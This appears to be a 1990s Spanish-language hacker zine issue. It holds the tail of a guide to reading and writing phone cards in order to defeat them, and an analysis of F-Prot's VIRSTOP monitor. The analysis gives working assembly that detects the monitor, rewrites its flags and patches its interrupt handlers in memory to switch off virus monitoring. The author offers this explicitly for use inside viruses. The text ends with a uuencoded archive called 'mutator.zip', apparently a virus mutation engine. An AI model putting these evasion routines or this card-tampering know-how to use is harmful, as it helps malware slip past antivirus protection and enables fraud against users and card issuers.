  La targeta se resetea poniendo Reset a '0', y aplicando un pulso de      
  clock. Esto hace que el contador interno se resetee tambien, apuntando al
  primer bit ( bit 0 ).                                                    
                                                                           
  Lectura:                                      _                          
  Para lectura Reset debe estar a nivel alto, y R/W a nivel bajo.          
  La salida esta siempre activa, y el contador de direcciones se incrementa
  con los flancos negativos de la seal de clock.                          
  Luego de la operacion de Reset aparece en I/O el bit 0, luego del 1er    
  pulso de clock el bit 1, y asi. Luego de llegar a 255 el contador pasa a 
  0 de nuevo, mostrando el bit 0.                                          
                                                                           
  Escritura:                                                 _             
  Para escritura Reset debe esta a nivel alto, Vpp en 21V, y R/W en nivel  
  alto. Estas condiciones se deben mantener con Clock en nivel bajo de 10  
  a 50 ms, y luego poner Clock en nivel alto de 10 a 50 ms.                
  Si el contador esta apuntando al area protegida, la operacion no tendra  
  exito. Si esta apuntando despues de los 96 primeros bits, al bajar R/W a 
  '0' ( lectura) aparecera automaticamente el dato grabado a modo de       
  verificacion.                                                            
                                                                           
  Bien, el otro .GIF muestra el circuito para poder conectar la targeta a  
  la PC. Es bastante sencillo, no requiere de grandes conocimientos para   
  armarlo.                                                                 
  Para hacer contacto con la targeta nosotros destripamos un conector tipo 
  slot hembra de PC, sacamos los contactos y los soldamos en una plaqueta  
  de pertinax cobreada. Luego conectamos cables al circuito y de ahi al    
  conector DB25 que se conecta en LPT1.                                    
  Recomendamos antes de conectar nada a la PC revisar muy bien lo que hemos
  hecho. Que los diodos esten bien puestos ( la rayita del grafico         
  corresponde a la rayita que tiene dibujado sobre el encapsulado), lo     
  mismo que los Transistores.                                              
                                                                           
  Una vez que este todo corremos LECTOR.EXE que viene con esta entrega de  
  su zine preferido y ... HUALA, ya podemos hurgar las targetas y pensar en
  como cagarlas.                                                           
                                                                           
  Por ahora nada mas.                                                      
  Enjoy it!                                                                
                                                                           
                                                J. Von Neumann [DAN]       
                                                Bugs Bunny [DAN]           MinoTaurio Magazine Issue # 6                                              
                                                                           
                                             
                        Anlisis del VIRSTOP                               
                           by WM [DAN]                                    
                                             
                                                                           
El Virstop es el mdulo residente que viene junto con el antivirus F-Prot  
de Fridrik Skulason.                                                       
                                                                           
La idea de este articulo es ver como es el comportamiento interno de este  
programa, tanto para satisfacer nuestra curiosidad como para encontrar     
formas nuevas de engaar a este, modificar su comportamiento o lo que sea  
generado por sus respectivas imaginaciones, veamos entonces...             
                                                                           
(la versin analizada es la adjunta con el F-Prot 2.15, no creo que haya   
muchas diferencias entre versin y versin pero estn asvertidos..)        
                                                                           
Pues bien, el VIRSTOP (a partir de ahora VS) captura las interrupciones    
21h, 2fh, 13h y 15h. Despues por medio de la int 2fh va activando y        
desactivando el monitoreo que hace mediante cada una de estas.             
                                                                           
Los handlers de dichas interrupciones estn en los siguientes offsets:     
                                                                           
                int 21h  > CS:0399h                              
                int 2fh  > CS:0532h                              
                int 13h  > CS:048Ch                              
                int 15h  > CS:0599h                              
                                                                           
Adems de estos handlers, usa una rutina de tracing (int 1h), la           
rutina instaladora se encuentra en CS:8311h y el handler en CS:8585h,      
                                                                           
                                                                           
Handler 2Fh                                                                
ă                                                                
                                                                           
Esta es el handler de la int 2fh del VIRSTOP:                              
                                                                           
;--------------------------------------------------------------------------
                                                                           
VStop_i2f:                                                                 
                        Cmp     Ax,1605h                                   
                        Jnz     next_choice                                
                                                                           
                        Mov     Byte Ptr Cs:[02C2h],01                     
                        Jmp     return                                     
                                                                           
next_choice:                                                               
                        Cmp     Ax,1606h                                   
                        Jnz     Seti13Flag                                 
                                                                           
                        Mov     Byte Ptr Cs:[02C2h],00                     
                        Jmp     return                                     
                                                                           
Seti13Flag:                                                                
                        Cmp     Ax,4653h                                   
                        Jnz     return                                     
                                                                           
                        Cmp     Cx,07                                      
                        Jnz     try_nine                                   
                                                                           
                        Mov     cs:[Flag_i13],Bl    ; Flag_i13=offset 0531h
                        Iret                                               
                                                                           
try_nine:                                                                  
                        Cmp     Cx,09                                      
                        Jnz     return                                     
                                                                           
                        Xchg    Ah,Al                                      
                        Mov     Bx,020Ah                                   
                        Nop                                                
                        Push    Cs                                         
                        Pop     Ds                                         
                        Mov     SI,0223h                                   
                        Mov     DI,01D3h                                   
                        Iret                                               
                                                                           
return:                                                                    
                        Cmp     Word Ptr Cs:[old2f],0                      
                        Jnz     jump_to_2f                                 
                        Cmp     Word Ptr Cs:[old2f+2],0                    
                        Jnz     jump_to_2f                                 
                        Iret                                               
                                                                           
jump_to_2f:                                                                
                        jump    db 0eah                                    
                        old2f   db 0                                       
                                                                           
;--------------------------------------------------------------------------
                                                                           
Por lo tanto, si llamamos a la int 2fh con el VS en memoria con:           
                                                                           
---------------------------------------------------------------------------
                                                                           
Input:  AX = 4653h                                                         
        CX = 07h                                                           
        BL = 1 --> Desactiva Monitoreo Int 13h                             
             0 --> Activa Monitoreo Int 13h                                
                                                                           
Output: Nada                                                               
                                                                           
---------------------------------------------------------------------------
                                                                           
Input:  AX = 4653h                                                         
        CX = 9                                                             
                                                                           
Output: AX = 5346h (AX invertido)                                          
        BX = 020Ah                                                         
        SI = 0223h                                                         
        DI = 01D3h                                                         
        DS = Segmento en el que esta                                       
             instalado el handler de la                                    
             int 2fh (Actual CS)                                           
-------------------------------------------------------------------------- 
                                                                           
Esta interrupcin maneja la des/activacin de las demas..                  
Para lo que sirven la funcin 1606h y 1605h no tengo idea, consegui        
tantas cosas buenas con lo que aca muestro que no me moleste en seguir     
revisando el codigo, pero si a alguien le interesa verificar el total      
comportamiento del VS les prometo darles el source completo de todos       
los handlers y su instalacion del VS en un prximo numero, pero para       
esto hay que recibir pedidos en nuestros ya conocidos bbs, asi que ya      
saben, y sino desensamblenlo uds. que es una pavada, no esta encriptado    
ni nada.                                                                   
                                                                           
Bueno, sigamos..                                                           
                                                                           
Los valores devueltos por AX=4653h, CX=9 en BX,SI y DI son fixed, o sea    
que son si o si esos los valores que devuelve, ya que estan explicitos     
en el mismo handler de la int 21h.. por lo menos hasta este punto del      
anlisis.                                                                  
                                                                           
La funcin 4653h, CX=9 es utilisima para nuestros propositos, ya que nos   
devuelve el segmento en el que se encuentra el VS instalado, y sabiendo    
los offsets en los que se encuentra cada handler podemos hacer dos cosas:  
                                                                           
1) Desactivar todo monitoreo modificando las variables del VS:             
--------------------------------------------------------------             
                                                                           
Para esto veamos porcioncitas de los handlers de la int 21h y de la        
int 13h por ejemplo...                                                     
                                                                           
VStop_i21:                                                                 
                        Puhsf                                              
                        Nop                                                
                        Sti                                                
                        Cmp     Byte Ptr cs:[0393h],01                     
                        Jz      Backi21                                    
                        ...     ....                                       
                        ...     ....                                       
                        ...     ....                                       
                        ...     ....                                       
Backi21:                Popf                                               
                        Jmp     0000:0000                                  
                                                                           
(Les dejo las direcciones porque es pertinente con la explicacin, y los   
JMP estn a zero porque el VS se encarga de poner el address de la int 21h 
o int 13h al ejecutarse :).. no??.. si en serio :))                        
                                                                           
Bueno, como vern, la rutina se fija si el byte en el offset 0393h esta en 
1, y si es as le da el control a la int 21h original, pues que podemos    
hacer?, porque no ponemos en 1 ese byte nosotros y listo?..                
                                                                           
ByeByeVS:                                                                  
                                                                           
      mov ax,4653h                 ; llamamos a la rutina de               
      mov cx,9                     ; la int 2fh del VS                     
      int 2fh                                                              
                                                                           
      cmp ax,5346h                 ; nos fijamos si el VS esta             
      jne NoVirStpInstalled        ; instalado..                           
                                                                           
      mov ds:[0393h],1             ; Ponemos el byte en 1                  
                                                                           
NoVirStpInstalled:                                                         
                                                                           
       .. ....                                                             
       .. ....                                                             
                                                                           
                                                                           
Acuerdense que la funcion 4653h, CX=9 nos devuelve en DS el segmento en    
el que est instalado el VS, asi que sabiendo el offset en el que esta     
el byte lo ponemos en 1 y listo, ahora veamos la int 13h..                 
                                                                           
VStop_i13:                                                                 
                                                                           
                                                                           
                        Cmp    Byte Ptr cs:[0395h],01                      
                        Jnz    Backi13                                     
                        Cmp    Byte Ptr cs:[0531h],01                      
                        Jz     Backi13                                     
                        ...    .......                                     
                        ...    .......                                     
                        ...    .......                                     
Backi13:                                                                   
                        JMP    0000:0000                                   
                                                                           
Veamos, el segundo CMP es el que se desactiva con la funcin 4653h, CX=7   
ya que esta mueve al offset 0531h un 1.                                    
                                                                           
Pongmosle que queremos que se vaya directamente con el primer cmp, porque 
somos cabezas duras (mas all de que obviamente esos dos flags son seteados
por diferentes switches o razones), pues hacemos lo mismo de antes:        
                                                                           
ByeByeVS:                                                                  
                                                                           
      mov ax,4653h                 ; llamamos a la rutina de               
      mov cx,9                     ; la int 2fh del VS                     
      int 2fh                                                              
                                                                           
      cmp ax,5346h                 ; nos fijamos si el VS esta             
      jne NoVirStpInstalled        ; instalado..                           
                                                                           
      mov ds:[0395h],0             ; Ponemos el byte en 0                  
                                                                           
NoVirStpInstalled:                                                         
                                                                           
       .. ....                                                             
       .. ....                                                             
                                                                           
Bueno, junten las dos y listo..                                            
Si bien hay diferentes bytes que corresponden a diferentes switches con    
esto desactivamos todos estos, ya que volvemos directo a la int original.  
                                                                           
Bueno, pero esto tiene inconvenientes, de la misma forma en que nosotros   
seteamos los bytes para que no chequee el VS, si por una de esas           
casualidades (DEMASIADA, pero DEMASIADA :)) el usuario corre de nuevo el   
VS para modificar unos switches puede ponernos los bytes a sus valores     
originales de nuevo.                                                       
Ademas los offsets podran variar de versin en versin, 'tonces..         
que hacemo'?..                                                             
                                                                           
2) Patcheamos el VS en memoria:                                            
-------------------------------                                            
                                                                           
Que como es esto?, simple, igual que antes, nada mas que ahora en vez de   
cambiar el byte adecuado para que el jump condicional de el resultado que  
nosotros queremos, eliminamos el mismo y le ponemos un jump incondicional, 
veamos esto para la int 21h..                                              
                                                                           
Sabiendo como dije en el principio de la nota que..                        
                                                                           
           INT                  Handler                                    
                                                                           
           int 21h  > CS:0399h                                   
                                                                           
y que..                                                                    
                                                                           
VStop_i21:                                                                 
                                                                           
xxxx:0399 9C            Pushf                                              
xxxx:039A 90            Nop                                                
xxxx:039B FB            Sti                                                
xxxx:039C 2E            Cs:                                                
xxxx:039D 803E930301    Cmp     Byte Ptr [0393h],01                        
xxxx:03A2 7438          Jz      03DC                                       
                                                                           
lo que hacemos para patchear al VS es esto..                               
                                                                           
PatchVS:                                                                   
                                                                           
      mov ax,4653h                ; nos fijamos si el VS est              
      mov cx,9                    ; instalado                              
      int 2fh                                                              
                                                                           
      cmp ax,5346h                                                         
      jne NoVirStpInstalled                                                
                                                                           
      mov ds:[03A2h],0EBh         ; cambiamos el JZ por JMP                
                                                                           
NoVirStpInstalled:                                                         
                                                                           
      ... ......                                                           
      ... ......                                                           
                                                                           
Simple, cambiamos el OPCODE del JZ (74h) por el del JMP SHORT (EBh).       
Ahora con la int 13h..                                                     
                                                                           
veamos que...                                                              
                                                                           
           INT                  Handler                                    
                                                                           
           int 13h  > CS:048Ch                                   
                                                                           
y que...                                                                   
                                                                           
VStop_i13:                                                                 
                                                                           
xxxx:048C 2E            Cs:                                                
xxxx:048D 803E950301    Cmp     Byte Ptr [0395h],01                        
xxxx:0492 7534          Jnz     04C8                                       
                                                                           
Lo Patcheamos..                                                            
                                                                           
PatchVS:                                                                   
                                                                           
      mov ax,4653h                ; nos fijamos si el VS est              
      mov cx,9                    ; instalado                              
      int 2fh                                                              
                                                                           
      cmp ax,5346h                                                         
      jne NoVirStpInstalled                                                
                                                                           
      mov ds:[0492h],0EBh          ; cambiamos el JZ por JMP               
                                                                           
NoVirStpInstalled:                                                         
                                                                           
      ... ......                                                           
      ... ......                                                           
                                                                           
Listo!..                                                                   
                                                                           
aja!, pero esto tiene otro problema, en otras versiones quizs los         
distintos handlers puedan empezar en offsets diferentes, porque se le      
agregaron nuevas signatures, o por cualquier otra causa, pero eso          
no implica que los handlers especificamente hayan sido cambiados, sino     
que cambi su ubicacin dentro del programa, que hacer suponiendo          
que esto pase?..                                                           
                                                                           
Fixed_Number  =  09h                                                       
                                                                           
PatchVS2:                                                                  
                                                                           
      mov ax,4653h                ; nos fijamos si el VS est              
      mov cx,9                    ; instalado                              
      int 2fh                                                              
                                                                           
      cmp ax,5346h                                                         
      jne NoVirStpInstalled                                                
                                                                           
      mov ax,3521h                ; tomo address int 21h                   
      int 21h                                                              
                                                                           
      push ds es                                                           
      pop  ax cx                  ; este handler es el                     
      cmp ax,cx                   ; del VS?                                
      jne NoVirStpInstalled                                                
                                                                           
      add bx,Fixed_Number         ; me muevo hasta el JZ                   
      mov ds:[bx],0EBh            ; cambiamos el JZ por JMP                
                                                                           
NoVirStpInstalled:                                                         
                                                                           
      ... ......                                                           
      ... ......                                                           
                                                                           
Lo que hago es pedir el segmento en el que est instalado al VS, pido      
el address de la Int 21h, y compara el segmento de esta con el segmento    
del VS, si no son iguales, significa que algun otro programa capturo       
la int 21h despues del VS, por lo tanto cague, puede renunciar o ariesgar- 
-me a usar el metodo directo que mostre primero, o usar la int 2fh..       
                                                                           
Si los segmentos son iguales, ese es el Handler del Virstop, asi que       
ya en BX tenemos ya el offset donde empieza el Handler, lo que hacemos     
es sumarle a ese offset la distancia a la que esta el JZ del comienzo      
del handler..                                                              
                                                                           
xxxx:0399 9C            Pushf                          ..1                 
xxxx:039A 90            Nop                            ..2                 
xxxx:039B FB            Sti                            ..3                 
xxxx:039C 2E            Cs:                            ..4                 
xxxx:039D 803E930301    Cmp     Byte Ptr [0393h],01    ..5,6,7,8,9         
xxxx:03A2 7438          Jz      03DC                   --> Llegamos!       
                                                                           
Para que entiendan en este caso..                                          
                                                                           
0399h + 09h  =  03A2h listo!                                               
                                                                           
fcil no?, y ahi ponemos el 0EBh..                                         
                                                                           
con la int 13h es lo mismo nada mas que Fixed_Number = 06h.                
                                                                           
Bueno, listo, creo que es suficiente, si alguien quiere el source          
completo del VS chifle, asi lo hago y les muestro mas funciones, ahora     
ya me cans de desensamblarlo..                                            
                                                                           
Ah!, me olvidaba.. falta para la int 15h, que utiliza para verificar el    
Disco A: al apretar Ctrl-Alt-Del ...                                       
                                                                           
Pongan el byte en [0394] en 0                                              
o/y                                                                        
Pongan el Byte en [0586] en 1                                              
                                                                           
y Fixed_Number = 4d                                                        
                                                                           
ah! y me olvidaba de nuevo.. :) lo que pueden hacer tambien es obtener     
el segmento del VS y robarle la direccin de la int 21h y usar esa         
direccin en su virus, pero gastan demasiados bytes en CALL's, pero        
lo pueden hacer si quieren, y para hacerles la vida ms facil aca van los  
offsets en donde esta guardada cada INT original, tomen las precauciones   
que les digo en esta nota para diferentes versiones etc..                  
                                                                           
          INT                        Offset                                
                                                                           
          21h Original  >  cs:03DEh                              
          2Fh Original  >  cs:0582h                              
          13h Original  >  cs:04C9h                              
          15h Original  >  cs:05B5h                              
                                                                           
bueno, tengo el presentimiento de que me olvido algo, y bueh.. cualquier   
cosa ya saldr otra nota.. :)                                              
                                                                           
                                    bye!..                                 
                                    WM [DAN]                              
                                                                           
begin 666 mutator.zip
M4$L#!!0  @ ( "MNA!TZZ1-*D ,  %H'   ,    3554051/4C N5%A4=571
M;MLX$'PWX'_8QQSJ\S5 BJ(!\J#8OD-ZCAW(3A&@Z,.*7+M,:5(AQ0#)U]\N
M:5MNVO-#0DCD[.SL#'5[OZ[6RQJ^4(C&.S@?O[\<#E:T34XC6-,$"@:AQ<!_
MO#4['S8F[CQ05,%T".2@"EMRG7$X'@Z&@[^7]6T%TQFLZ^JZ^KQDN*NW/]GW
M#F:.(5K!L*"\-EL_ D:B@$Y[2 XT12I[? !M(M?H?.&BD.DI'X+14O8=?$'F
MV1AK7IFVCQ!HRP<"KS2!;QE4<7]YZ]IK?ARY6WI*)K;!-]A8RN\F:%6R"#$!
M/V^-![_91.JXEA.>.^KXM& JM/;/UK>C7"!H[C_P=JD]',!/]2U+UP)&PR@L
M'<-+,^B4$?VZ0%D!QH,7V&_N<-<8UI8*VG/N;L_QAH]XG12!<5PB*>F,<J.!
MK"7GX0PM(:MF,.XK[#!O^/">X:,1H32ROG\(X%QHE%D(E! ,A%G*_7\9R%%$
M+L5T.I;"*$9]X9ZWLLKD%I[/L*S$-;E']>.@X]E]1);/E8E<?(#FI2ND\[9"
MQ+NMZ9*6ITQBESII LX_?KPHV[/#9GP 0A+'023&%YMT6,1-#L:^>82G1(S2
M,#H%L,;]('',8Q('R2QYP,5SPT$I%LV66;M.I!(/7DJI]?QF\2]\_6O]#5;W
MD^7TYI_E>'G]&?:QD75F=(('*7:D2VU-RF+ (!/__R*SAW6].$#"Y5V]G,CC
MNT!B]9 -SV*+ETH.,?)3S&,J*NR%&H^S/I-J/C_ 9:"JKFYGZWJY@@KNJE55
M_RZ3DLK9ZG)Z U=PG38;EHTY=P$;?-R'KB_(;WZZ#0X$N #O[(R<%=^6'SXE
M(P/1 G(,^]%SVI_,A5_WL>=7C#E'Z+%L;Y&W.R4L)T&9<C,/W,S4!,H1R:GU
M.];_U>?C>QYBE</0(O59" PR>9"B5S!!UTEB!*,8]V1?#I?%4VZG]N6E2FA/
MFBB^?V/KDS'5,Q[=HIHN5[^?5![6@=HQ-!N>C)4+^9@LJ>Q;TU/5.,ID?]&N
MYR9J1)(326Z.?,-G7V22\QQ?@>@O.+E)<PC#,T.59E:22_],D@')) ;UW3SG
MB[,-B1KF(86^HQ+M_9[L&SMSCQ+:9WH]LGHDE>2+$4$%PO*9<(D8^5"A;VJ4
MO2;*&Z=L>J'AX%?/H&9$7HUA9GN,(_SAVL\N=W[7!"HZ8&MTOO"_3JO%MU'_
M$83S3Y\N>,]_4$L#!!0  @ ( /F6GQVG;5W4[18  %UV   +    3554051/
M4BY!4TW-/5USV[J.S_6,_P/G[DMRXF0E?UO>/J2-<V]GSFF[37NG.YU,AY88
M6SZRI$AVCMV=_3?[0Y<@*8F20'^D3N^Z<UI;!$$ !$$0 '7&KT_Z:3;&-_[,
M7]& 7(<T<>=;\D\_X;]NV!,+HGC)PA6'.?F@K]Y'RVG"'/+'>D5744+L*XN<
M3<*9'S+R,0K\990\^&YT#K#7:X!PR.\T]CV:^!'Y=G/]_AZ:;ID[I[S)MHG'
MR/OHR6> %W[8HU$70#[3)?W?B(,,!ETRW:Y8^@(,-1M7[6&?__WI^N;=5V+S
MKQ^_O/G]W5ORQY?/UY\_?&HV?K_^^.[F^M.[#^1N\O<_)N\_DS?_]7E"D$^S
M<7UW]^6/"7E[Y^2]6C?:CV;#77_WP_1['/N\P^0_OT _R[+ZGD2@FMW(*S4/
MO69#$21&^OCIPUM"WD^N.7U5*N)U.B?3#2'CCY\F=Y-/_YR0-U_)V9>[ZYL/
MY&9"KO_QX=,UF;PG?US?D8_7_/N'V]N[R>=SD$85F4N#@#S0(+7C)&HVLF].
M-E84\Z'JW=+UE#]O10\/*5MI_0W4THVAP3,U3&-#0^J;4/G$.#ZH%MX):=@!
M:FAR,?11S+L0,KZY>_WV#NN*]Z$;^7U,-Z]Y_RCQ9WY(@SHPTG\9/9&;.^?;
MFZ\76;_O7GK?RG >V]?=W+?<S8'C^/<MS]\)F[+9]RE-V7T+FP\-4*Z0=;AB
MR68OUH("@-T8E1Q&3@QM+EU.?;K9[!.2 /:8&WDL2=8K T#,DN5Z11,V,P#,
M6,@2^B?;&MI7"4U3/HB)VBCVJ1'U=Q:ZB1^#',:_'?7A'3@.=QW0A 24!%$X
M\U=KC\0TH22..,U!1%A(W,T5)F4Q*>ZF]4V?OHOIYMX 2CFHICX&2+ T'"EF
M0<@S>.1,IC3P/1JM5XYIU>+/F3  ACX^_CPU/$?-&^#9F*P"?VY A71)V*K9
M6*H=//NPT*N/>KP #5(52JE1ED0N"1FMKSBPF!21HUPZ4<CBN"ZT#>>#HEH@
ME"YH69UYC;,P2J-PE;!4[F8!H\3S6]]B&U4U:236J4O],#53QQM7R9J0L1L%
MD4L)"^0>,)NUU%[0@EF9S:Z.X] /76R;])C+V:L]7H0_2,Y>LS&^_,D/1T&#
M)7592(G:U./N%2IL>L@*!\!O'-'WN OM8N+&WW_V4QLFG]*N>4KU2=-G#1KW
M3!$FE1YF^YXAEUXN%S-7O>.Y$B9AL=C#V(OH2_\D^M(_J;Z89=M_AFRIYY'%
MHO6#?_X5 AZ<1,"#7[(@!\\0KS#EDHF6RS__"AD/3R+CX2^1\?"9,MYN6]\6
MB_N7%J\0L _BXH@I"6A*)$FNZ_-!4L(>F+ORG_AS#P(#J71<5Q2:B<G,ND$+
M8@4D7B7?! (X2S-4$KG3 ,Y ZL_6# 11=@9**"[LGW0+7GK+SYD0WN#X\B56
MP.@D*V!DWM[V^W)M@R_G1<J5*]; Z)2^G"!_L;AO;;>D):9GL2"_Q(WCG EW
MX^<GU&0L;/MX:R&HEO--MO  Z'TAPVNW?T+O@%"#U UJ)K74;K^LMU%U)XV3
MTWFFIS>;_8I-,DG8+(C2(X)K:N8@1)-%?2[>?+W' 5F*&8/2@X**PG4?>RR-
M _J#+GT6KB("X6LX=V[\)8@U86(?27V2,GCLK5VF=2:7$D8 >>HY?]CA;=)!
MOY3GE\L.4%(E+P]@Y+X\!@&36YR"JA 0VN XZK$#U6!95F=>;0,#(T*=]='^
MBA(/]D4RN7.^03Q.FM^2Y/A'<%OWM8P<%M' O6P.3! 5TB[L@K@9)T[0]B?;
M/CX2B#NENIM"MKI=KB!'B=8\!(%S+]E#$T2&)R.[/>=T!SMQC8[%59X@.%N 
M.U0Z:G 0^/):MX/D4@GL4IG0N$LN2 >)@8O]=MZB<XRJ0^)U6@ANYS+H[NQ,
M#"U"R_&9S(7:/U2OVC)@798I[%KQ$#<8)7NA&PR.6!F,E 8<N&PN(#ZJ]=;\
M6N@?1J(3K?NP):[D[H- Y!(=&@#<S2X4H#L@V'9UQI5=J87T,?6T,^TLPV:!
MT,HS+* G@I"5L*",0?YLT+'9*&V*6;@1CS=F <=?N7>)IM07.$JK2^!I-A(6
MLY6?1'&[XQ@(*(P8 5N.A/N7,4!9]KS>MOC!";/LE,4VCGYRYQ3H4Q^S:G*K
MP0+8\)QSEJ\]A$6L"Q8C7W FTGF4K(@FDF8C(]XQ1^*1Y]00"*\J"RCAZ0+?
MF4M&R<T[0N-UN**A%Q$P"KE-^$K./,H?QN+H [ES%HC4'I.^QQ-S(5+/?\$>
MO:;\"2 4)Y@$S)$?SA*64H"X>7?%^R=LYG..HI2X49)$R]CW^/=+$G+(=1B1
M2U"S[ 1T4$P>\Y15JAGUH*?S%J=S?U92+2=DSG:.ZA;)N#'O/@4,6#)2H?=2
M?&2Q/@$'2U\CB9TH 3ZF]24D5E! 7099[>K*"SR<#%B-,):0.W%I0ETX.J4,
M,F@>'^MOEOVW9B.@/Z+-INW@Y]]-R[:L.<>2,I*N07?)XYH1&JZ8")3P5EDM
M05CHKEFX2J@P*!RN,/0N3:?H<0AC-?Q!%$FP\B33#L$^]:F*XF*FQ@E+5W2=
M<-8W*"2M0R)J83:K,MU5PS$]>#0$I[ 0E84B=ZE3V8>$AAXL=)GU)>N0A.LE
M2R)" P8).C\2T]HG4W\%RWD9)YP WXO 3$""AYQ99$NNOYZ#T9+9RSH*/L#U
M5]TR:(9!MC0;&26E)-V.7=-<GN$:ZS8,FZ$AA0O[@JG"0*QJYYO(VW/"86,A
MXX!%X'O!PV8C7=$$FAP\6P^.K[=I>0;\TTVK;?4Z'B'CY3I8^7'@N[!*$>AU
M8&2,8[$[P^[(@[-YR"D*5^"]^Q#81#;MH![5%OZ:,'%26]/UDB:0=(<UOF1A
ME$+<+_0?.'DB7(IDPDN?,6PI"4LY4]2+L/%<D(M%]/&H"QYS)-Q7YK(4RKF,
M'%L/_#/G'--D!I%=4K#>/K/[YY>(V^'Y3\7B)46EP3+RUD%D5@$EE>6:/3'@
MRO?60MOK12U[*FM,,UA5,M@PQK,U3<0R8T^9MAEKFS3)AU&RI('_0T1HJFO4
MR&._U^OT1('86!H)+U*^ *=I%I&827-@5/!\_#.+7)+KK^0L.[6?G^,SX>K2
M&^,+D^Z!V;CSF3K;9>ROV5.D^'[MARORWV>"MW\7?)Q?V/]S"!.["Z-,,(=P
M);>KPTLOQ.90M9HGW1V$XA&T;D+J@C!W*5OZ ?]75.)D]#0;T2JAXGQB.VK2
MP ?I6LB) !S/ /7R%S](@<>@HG/1,P=K[QTND>/9SR6D??!2-4Q:5:XGG305
M73V@V.59AT_CP?$D)U4CFE+EJG"90^!LR3P_@D-)N*IE\+ ,""FR;N5=209&
MYG2K#BD4@B2SZ K5! GR'1U 1&JKJU)L*1XE3^R'\)=31H* +N$89<K5%(Y)
MA5+,UG.NW*#E!GNIS0^RV.E51?Q!SE,ZNWCS%;>':+@N/V1XJ4/V!0<T$6'<
MF,[CE<19<2A_X3#%__\H12&*/#SA0!KAIP<UI ;%L:S0)2T3FNN:8_)TGA$?
MT<W9:8\_F?LC?:(G&L!*BHI(1\I(EOA/*-GJA0!PL@4K1!_7+*C7#XAC<>J3
M(.)\/*Y]V!9X!RD@DI^#F!XCN6HV*L6^>RL5<6MI60\/<SSYEJ^[PY>"3 1;
M-OS!<\H!Y, E@%.S)2QT,5NBJJ3U%7IAV1ZZCE#8[A&P@\-AV[TC8(>'PW8R
MWL9RCLF*3@/ZW:.K*_4QI6!%&,6C]L6;K\C91>P3\Y;5\3+M23H=9U<ZSF1*
M2I%V\&8\W\@=5$(,YOF(O:Z#'VX,0QWW^%#"=A0RY'3BG>:[.G4ZR"Z%FBR9
M52@OX1/':]8K/Z00DY%V2$1PA2_NNQ1<&&5-&*E8FE1X5WD%_B[C@ID6W"?,
M[YZ,CZM$& <!E%?8?4YQ3"B$$_Q$!)M5Q<4J\J*4M]4$CU]I0?>5>B14K:<,
M>=TJ*?,YLD:U<X-RQ]1UJ,JLQR1=1>E?FI=VQE+'\\__ ZH4CJW@$!*"W!0$
MZG/9Y#(A$,N(4IE>=*-E1/S0\Q_7C/?Z!G,K*L;N20L.9P\0A!4.)UO&/H-]
M+B0Y$+D@=CT/"&)*_58.A<O)#5K@]E1:P$%TYZW:@C)XJ.">4H]V>_U* ^HX
M[9T_F E.FSX3E;FX//-2)_7/FPTUKG-T&<KN++_2$^2V$IYM12X*X4JYYR!E
M"DQKO?>X>^ITMPM#Y>X6QI$D 4+VP]' J9P,P'"+(H!L"E5PU)MJ:.P^\=8Q
M.1M9\W,T1PU)X-1'SM=JOZO-":I,(KJ;UJ5"]G\JF,0.LB&'?:H+0.4WAJ,!
M8M.\@PP=LA6)C:AD[$^Z#16WS,K;R#$;R0L8=H^E.XR6J;0SM^R=KLFR3TV6
M/<#72G&1MDJZV04W4"<J:Y>\VV(9(QH,%&3-#GF.6$3]$NI0J>X']\4W"5FH
M@6TP%;HN;,R>;%KH-E#9GZ O9,K<@*DC"#XQEF4-=LU)$2NOIK @=EU=HA^_
MW/V#7'_%Q68\^E3"&(82FWJ\0@C;:/=0^Y;6"SL_?O@(,7BCIAQ$LYEB;%77
M2%,[C;<AIV'Q(*W);CQBQCM %IU2IB.45]PH>/)9LHJRH@D=RE1O5:,42$+9
M4BZ7"BA"56BX\CWJ@7=8CCX4=1O5B5S&XNQ6.^8OI@R<Q81:=O\(PTD1IRZ=
M!P!O(VS5<*CTHDE%:O#I7#B2'/?#;&6K6/^^5>-M,%?5K&RY6?-P#^.0A^@D
M&A^B&B@XK'F;V21A5NXH]Z"TB9\V!9'?,?_I% 0>I:ZN/[@=8TC*S%MZE/82
MN423AUGTVS:&[+(>3FYYABCX-$9?"P!J,HV-&0YL:]H7M"/[R/R3;1,VD_<(
M@OR>T3)VCJBIV%.IX.E1]F(\(Y]%^#F5&X8(HFY*9:H;N-$1\E&)1&C2 S@,
M9E$T,6G&-(IE63T/HI31GU8>I$3?H@!Q4)U*-'&P^$&"B(6NN..,%TUPVOA(
M?>^XH+HB$#B17]N_C-9VQ\.S"XH03/L*Q,X.X7L;E;%SBPDUL+0SD[5DBRBA
MB4S7I8RL4TIH0+90J;6"5%KJ@_I A8+G7YD(TDOP=V:%'OIX6DC4I+1W]&//
MZ^=AR6KA_T-'$80$QH. S2"Y\+CVH05X55+]C2.7@SB&>=Z@KTQ1*H"M<)A_
M)7:%N^/44>:U.D#,1><W20Y6:',(%9A>P)KQ?%+70$6<8ZHV\E6QB@HLRNIX
MW=:X4;BW9BE/UZB=S8L.,&^[=&MHFFJ.A25M]<*IYR4U\UJ$V)R3Q/:AS(W1
M2' .9ZPTZN:X48V[HB$U>RB'YEJ:XS*UV'.AD*;UFFVS)\B DKH[=5)?+7_=
MSR$%(WI5658#1,'X+!8M_G=V9XM_A<M01960@%#U8AU"R8"PC1NLH?JS2[;@
M F0_.U#C)\T'Y$8[)"+P9@&/B>JM8N/6O*;N'".T?*H?>^QIS8(IJYSHNUA7
M<2;)W]HR+GITD!A R8+CI"S@TI2D?U?G#MX9 H1^NHHL8V?=RS-AV4]""<M@
M/Q9%E%,Y-HFISAU.30&RN[I2"RQYFU&A:SN8.XRSDA.KAC&!@>!FT2JRVVBS
M.(UR"B6(LR,@-"ZK#*@D_-LV$D>#UDY'N"1)'(U6V$8,"CHWJ9ND87X2&KX5
M$Y?/:6E6MUMM0@>\:<NI8TN:JD98Q,2?02V%) =_.U=N[_<1G1&UW=;HH>K.
MH:+GLF<>)S\/D-V&8R<)\NZF:8[R%V/5/^+TG3LP=0-\0OO^6[.1O:_-4,?)
M6T3QMKQ2G[)0%+? ?1"558Y$00S<>YU">0Q+231=L5!<Z8%;AADDL'"%BP(_
MXR-OO3K)BSWX1UW*7JSA6%"-C)&4S9;BCB6DTLB9>D,6::E+ZT2](PMN0G'0
M=<@[J$W.H+M5B]2;FQ;<.J7)]S0UZE4YP&!/YN20 G*D\T67=W^8'P;;[LP5
M-$YW?@].V/SO6<6Y8L;9S4/_YW@8',4#0!=$.J?2I\M"F^"5:N(M5J2B&P<8
